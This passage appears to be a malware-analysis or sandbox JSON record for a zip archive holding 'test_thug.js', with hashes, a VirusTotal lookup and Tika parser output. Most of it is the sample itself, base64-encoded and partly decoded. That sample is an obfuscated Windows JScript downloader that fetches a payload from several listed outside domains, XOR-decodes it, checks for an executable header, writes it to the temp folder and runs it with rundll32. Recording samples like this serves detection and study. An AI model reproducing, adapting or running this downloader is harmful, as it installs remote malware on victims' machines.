vT2xvbG9PbG9sb09sb2xvT2xv\nbG9VRWYzWzIxN109OTQ5NjsiKTsKZXZhbCgiT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nVUVmM1syMThdPTk0ODQ7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMTldPTk2\nMDg7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMjBdPTk2MDQ7T2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMjFdPTk2MTI7T2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvVUVmM1syMjJdPTk2MTY7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVm\nM1syMjNdPTk2MDA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMjRdPTk0NTtP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIyNV09MjIzO09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb1VFZjNbMjI2XT05MTU7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvVUVmM1syMjddPTk2MDsiKTsKZXZhbCgiT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nVUVmM1syMjhdPTkzMTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIyOV09OTYz\nO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjMwXT0xODE7T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMzFdPTk2NDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9VRWYzWzIzMl09OTM0O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjMz\nXT05MjA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMzRdPTkzNztPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzIzNV09OTQ4O09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb1VFZjNbMjM2XT04NzM0O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VF\nZjNbMjM3XT05NjY7Iik7CmV2YWwoIk9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNb\nMjM4XT05NDk7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syMzldPTg3NDU7T2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syNDBdPTg4MDE7T2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvVUVmM1syNDFdPTE3NztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9VRWYzWzI0Ml09ODgwNTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzI0M109\nODgwNDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzI0NF09ODk5MjtPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzI0NV09ODk5MztPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9VRWYzWzI0Nl09MjQ3O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VF\nZjNbMjQ3XT04Nzc2OyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYz\nWzI0OF09MTc2O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjQ5XT04NzI5O09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMjUwXT0xODM7T2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvVUVmM1syNTFdPTg3MzA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvVUVmM1syNTJdPTgzMTk7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1syNTNd\nPTE3ODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzI1NF09OTYzMjtPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzI1NV09MTYwOyIpOwpldmFsKCJPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzEyOF09MTk5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb1VFZjNbMTI5XT0yNTI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sx\nMzBdPTIzMztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzEzMV09MjI2O09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTMyXT0yMjg7T2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvVUVmM1sxMzNdPTIyNDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9V\nRWYzWzEzNF09MjI5O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTM1XT0yMzE7\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxMzZdPTIzNDtPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9VRWYzWzEzN109MjM1OyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9VRWYzWzEzOF09MjMyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb1VFZjNbMTM5XT0yMzk7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNDBdPTIz\nODtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE0MV09MjM2O09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTQyXT0xOTY7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvVUVmM1sxNDNdPTE5NztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE0\nNF09MjAxO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTQ1XT0yMzA7T2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNDZdPTE5ODtPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9VRWYzWzE0N109MjQ0OyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9VRWYzWzE0OF09MjQ2O09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNb\nMTQ5XT0yNDI7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNTBdPTI1MTtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE1MV09MjQ5O09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb1VFZjNbMTUyXT0yNTU7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nVUVmM1sxNTNdPTIxNDtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE1NF09MjIw\nO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTU1XT0xNjI7T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNTZdPTE2MztPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9VRWYzWzE1N109MTY1OyIpOwpldmFsKCJPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9VRWYzWzE1OF09ODM1OTtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE1OV09\nNDAyO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNbMTYwXT0yMjU7T2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNjFdPTIzNztPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9VRWYzWzE2Ml09MjQzO09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VFZjNb\nMTYzXT0yNTA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVUVmM1sxNjRdPTI0MTtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzWzE2NV09MjA5O09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb1VFZjNbMTY2XT0xNzA7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nVUVmM1sxNjddPTE4NjsiKTsKZXZhbCgndmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb0VUeTE9bmV3IEFycmF5KCk7dmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0VwND0i\nIjt2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvTHo3OyB2YXIgT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvUU5hNTsnKTsKZm9yICh2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvWHk4PTA7IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1h5OCA8IE9sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0FTYjEubGVuZ3RoOyBPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9YeTggKz0gMSkKe09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0x6Nz1P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9BU2IxW09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb1h5OF07CmV2YWwoJ2lmIChPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9Mejcg\nPCAxMjgpe09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1FOYTU9T2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvTHo3O30gZWxzZSB7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nUU5hNT1PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VRWYzW09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb0x6N107fScpOwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FVHkx\nLnB1c2goU3RyaW5nWyJmcm9tQ2hhckNvZGUiXShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9RTmE1KSk7fQpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FcDQ9T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvRVR5MVsiam9pbiJdKCIiKTsKcmV0dXJuIE9sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb0VwNDt9CmZ1bmN0aW9uIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb0RmOChPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9BU2IxLCBPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9aYTYpCnt2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nR0R4OCA9IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1dYZjYoT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvWmE2KTsKZm9yICh2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvWHk4ID0gMDsgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvWHk4IDwgT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvQVNiMS5sZW5ndGg7IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb1h5OCArPSAxKQp7T2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQVNiMVtPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9YeThdIF49IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb0dEeDhbT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvWHk4ICUgT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvR0R4OC5sZW5ndGhdO307CnJldHVybiBPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9BU2IxO30KZnVuY3Rpb24gT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvWlN1MShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9JVng5KQp7dmFyIE9sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1pVcjI9bmV3IEFjdGl2ZVhPYmplY3QoIkFET0RCLlN0\ncmVhbSIpOwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9aVXIyLnR5cGU9MjsKT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvWlVyMlsiQ2hhcnNldCJdPSI0MzciOwpPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9aVXIyLm9wZW4oKTsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvWlVyMlsiTG9hZEZyb21GaWxlIl0oT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nSVZ4OSk7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VZDQ9T2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvWlVyMlsiUmVhZFRleHQiXTsKT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvWlVyMi5jbG9zZSgpOwpyZXR1cm4gT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvV1hmNihPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VZDQpO30KZnVuY3Rpb24gT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvRmU3KE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9P\nbG9sb0lWeDksIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0FTYjEpCnt2YXIgT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvWlVyMj1uZXcgQWN0aXZlWE9iamVjdCgiQURPREIuU3Ry\nZWFtIik7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1pVcjIudHlwZT0yOwpPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9aVXIyWyJDaGFyc2V0Il09IjQzNyI7Ck9sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb1pVcjIub3BlbigpOwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9aVXIyWyJ3cml0ZVRleHQiXShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FdTYo\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQVNiMSkpOwpPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9aVXIyWyJTYXZlVG9GaWxlIl0oT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvSVZ4OSwgMik7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1pVcjIuY2xvc2UoKTt9\nCi8vRU5EX0NPREVDX1BBUlQKdmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0FjNiA9\nICJodHRwOi8vIjsKICAgIHZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9IQ3k5ID0g\nbmV3IEFycmF5KCk7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0hDeTkucHVzaChPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9BYzYgKyAicmVhbGVhcnRocHJvcGVydGllcy5pbi9o\nd3p5ZWRteGRtIik7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0hDeTkucHVzaChPbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9BYzYgKyAiZGVjb3J2aXNlLmNvbS9pMnFkbWR5MiIp\nOwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9IQ3k5LnB1c2goT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvQWM2ICsgImRhdGFzbm9vZC5jb20vamJneGp6ciIpOwpPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9IQ3k5LnB1c2goT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvQWM2ICsgInBlZHVsbGFlbGVjdHJpYy5jb20vaG1leHN1bzdsIik7Ck9sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb0hDeTkucHVzaChPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9B\nYzYgKyAic3RvdmVlZ29sLmNvbS93eWo1cmt1Iik7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9NUWo2ID0gIlpQSkxRZkk5cnhDSDdJWSI7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9DTWY3ID0gIlhwS3lISFVzeno2OUYiOwp2YXIgT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvVUpvNCA9ICJWeTVJMkFxcVBjbSI7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9LbjcgPSBuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1P\nYmplY3QiKTsKdmFyIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09uOT0yOwp2YXIgT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvWGg3PW5ldyBBY3RpdmVYT2JqZWN0KCJXU2NyaXB0\nLlNoZWxsIik7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PQXU5PU9sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb1hoN1siXHg0NSxceDc4LFx4NzAsXHg2MSxceDZlLFx4NjQs\nXHg0NSxceDZlLFx4NzYsXHg2OSxceDcyLFx4NmYsXHg2ZSxceDZkLFx4NjUsXHg2ZSxceDc0LFx4\nNTMsXHg3NCxceDcyLFx4NjksXHg2ZSxceDY3LFx4NzMiLk9sb2xvT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb0VlOSgpXSgiXHgyNVx4NTRceDQ1XHg0ZFx4NTBceDI1XHgyZiIpOwp2YXIgT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQm41PU9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09BdTkgKyBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9NUWo2Owp2YXIgT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvT3MzPU9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0Ju\nNSArICIudGQiICsgImIiOwp2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvSkZiMSA9\nIG5ldyBBY3RpdmVYT2JqZWN0KGV2YWwoJyJceDRkXHgyY1x4NTNceDJjXHg1OFx4MmNceDRkXHgy\nY1x4NGNceDJjXHgzMlx4MmNceDJlXHgyY1x4NThceDJjXHg0ZFx4MmNceDRjXHgyY1x4NDhceDJj\nXHg1NFx4MmNceDU0XHgyY1x4NTAiLk9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0VlOSgp\nJykpOwpmdW5jdGlvbiBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FbzIoKQp7CnZhciBP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9BazMgPSBPbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9LbjdbIkdldEZpbGUiXShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PczMp\nOwpyZXR1cm4gT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQWszWyJTaG9ydFBhdGgiXTsK\nfQp2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQVhtOSA9IDA7CmZvciAodmFyIE9s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0doOCA9IDA7IE9sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb0doOCA8IE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0hDeTkubGVuZ3Ro\nOyBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9HaDggPSBPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9HaDggKyAxKQp7CnRyeQp7CnZhciBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nT2xvbG9HaDc9bmV3IEFjdGl2ZVhPYmplY3QoIkFET0RCLlN0cmVhbSIpOwpPbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvT2xvbG9KRmIxLm9wZW4oIlx4NDdceDJjXHg0NVx4MmNceDU0Ii5PbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9FZTkoKSwgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvSEN5OVtPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9HaDhdLCBmYWxzZSk7Ck9sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0pGYjEuc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2Vu\ndCIsIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjApIik7\nCk9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0pGYjFbInMsZSxuLGQiLk9sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9PbG9sb0VlOSgpXSgpOwovLyB3aGlsZSAoT2xvbG9PbG9sb09sb2xvT2xv\nbG9PbG9sb09sb2xvSkZiMS5yZWFkeXN0YXRlIDwgNCkgV1NjcmlwdFsiU2xlZXAiXSgxMDApOwpP\nbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9HaDcub3BlbigpOwpPbG9sb09sb2xvT2xvbG9P\nbG9sb09sb2xvT2xvbG9HaDcudHlwZT0xOwp2YXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvQWc3ID0gbmV3IERhdGUoKTsKT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQWc3LnNl\ndEZ1bGxZZWFyKCIyMDE1Iik7Ci8qQGNjX29uCk9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb0doNy53cml0ZShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9KRmIxLlJlc3BvbnNlQm9k\neSk7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0doNy5wb3NpdGlvbj0wOwppZiAoIiIr\nT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvQWc3LmdldEZ1bGxZZWFyKCkgPT0gIjIwMTUi\nKSBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9HaDdbIlNhdmVUb0ZpbGUiXShPbG9sb09s\nb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9CbjUsIE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09uOSk7Ck9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb0doNy5jbG9zZSgpOwp2YXIgT2xv\nbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVWozID0gT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvWlN1MShPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9CbjUpOwpPbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT2xvbG9VajMgPSBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9E\nZjgoT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvVWozLCBPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9VSm80KTsKaWYgKE9sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb1VqM1sw\nXSAhPSA3NyB8fCBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VajNbMV0gIT0gOTApIGNv\nbnRpbnVlOwpPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9GZTcoT2xvbG9PbG9sb09sb2xv\nT2xvbG9PbG9sb09sb2xvT3MzLCBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9VajMpOwp2\nYXIgT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvSUltNiA9IE9sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9PbG9sb0VvMigpOwppZiAoIiIrT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xv\nQWc3WyJnZXRGdWxsWWVhciJdKCkgPT0gIjIwMTUiKSBldmFsKCdPbG9sb09sb2xvT2xvbG9PbG9s\nb09sb2xvT2xvbG9YaDdbIlJceDJjXHg3NVx4MmNceDZlIi5PbG9sb09sb2xvT2xvbG9PbG9sb09s\nb2xvT2xvbG9FZTkoKV0oInJceDJjXHg3NVx4MmNceDZlXHgyY1x4NjRceDJjXHg2Y1x4MmNceDZj\nXHgyY1x4MzNceDJjXHgzMiIuT2xvbG9PbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvRWU5KCkgKyAi\nICIgKyBPbG9sb09sb2xvT2xvbG9PbG9sb09sb2xvT2xvbG9JSW02ICsgIiwiICsgT2xvbG9PbG9s\nb09sb2xvT2xvbG9PbG9sb09sb2xvQ01mNyk7Jyk7CkAqLwpicmVhazsKfQpjYXRjaCAoZSkge2Nv\nbnRpbnVlO307Cn0K\n", "md5": "c9c0cfab0e52c0f649e320a946fde83a", "size": 19449 } ], "Content-Type": "application/zip", "sha1": "1468f1125329f43061105cb8be0b6d0d44162752", "virustotal": { "response_code": 200, "results": { "response_code": 0, "resource": "1468f1125329f43061105cb8be0b6d0d44162752", "verbose_msg": "The requested resource is not among the finished, queued or pending scans" } }, "extension": ".zip", "sha512": "8530bb66dcb2b7e464ca7197bfc4a39652c33a21901fc100fce79be87d753084aaa235e4f91cfcee04667f1154ba5d85efbf0b8517e79ef7c645695e3f1225ea", "tika": [ { "Content-Length": "3241", "X-TIKA:content": "\n\n\n\n\n\n\n\n\n\ntest_thug.js\n\n", "X-TIKA:parse_time_millis": "116", "resourceName": "tmpXSEC1_", "Content-Type": "application/zip", "X-Parsed-By": [ "org.apache.tika.parser.DefaultParser", "org.apache.tika.parser.pkg.PackageParser" ] }, { "Content-Length": "19449", "X-TIKA:content": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nString.prototype[\"OloloOloloOloloOloloOloloOloloEe9\"] = function () {return (\"asdf\", this.split(\",\").join(\"\"));};\n//BEGIN_CODEC_PART\nfunction OloloOloloOloloOloloOloloOloloWXf6(OloloOloloOloloOloloOloloOloloBXc5)\n{var OloloOloloOloloOloloOloloOloloKr1=new Array();\nOloloOloloOloloOloloOloloOloloKr1[199]=128;OloloOloloOloloOloloOloloOloloKr1[252]=129;OloloOloloOloloOloloOloloOloloKr1[233]=130;OloloOloloOloloOloloOloloOloloKr1[226]=131;OloloOloloOloloOloloOloloOloloKr1[228]=132;OloloOloloOloloOloloOloloOloloKr1[224]=133;OloloOloloOloloOloloOloloOloloKr1[229]=134;OloloOloloOloloOloloOloloOloloKr1[231]=135;OloloOloloOloloOloloOloloOloloKr1[234]=136;OloloOloloOloloOloloOloloOloloKr1[235]=137;\nOloloOloloOloloOloloOloloOloloKr1[232]=138;OloloOloloOloloOloloOloloOloloKr1[239]=139;OloloOloloOloloOloloOloloOloloKr1[238]=140;OloloOloloOloloOloloOloloOloloKr1[236]=141;OloloOloloOloloOloloOloloOloloKr1[196]=142;OloloOloloOloloOloloOloloOloloKr1[197]=143;OloloOloloOloloOloloOloloOloloKr1[201]=144;OloloOloloOloloOloloOloloOloloKr1[230]=145;OloloOloloOloloOloloOloloOloloKr1[198]=146;OloloOloloOloloOloloOloloOloloKr1[244]=147;\nOloloOloloOloloOloloOloloOlolo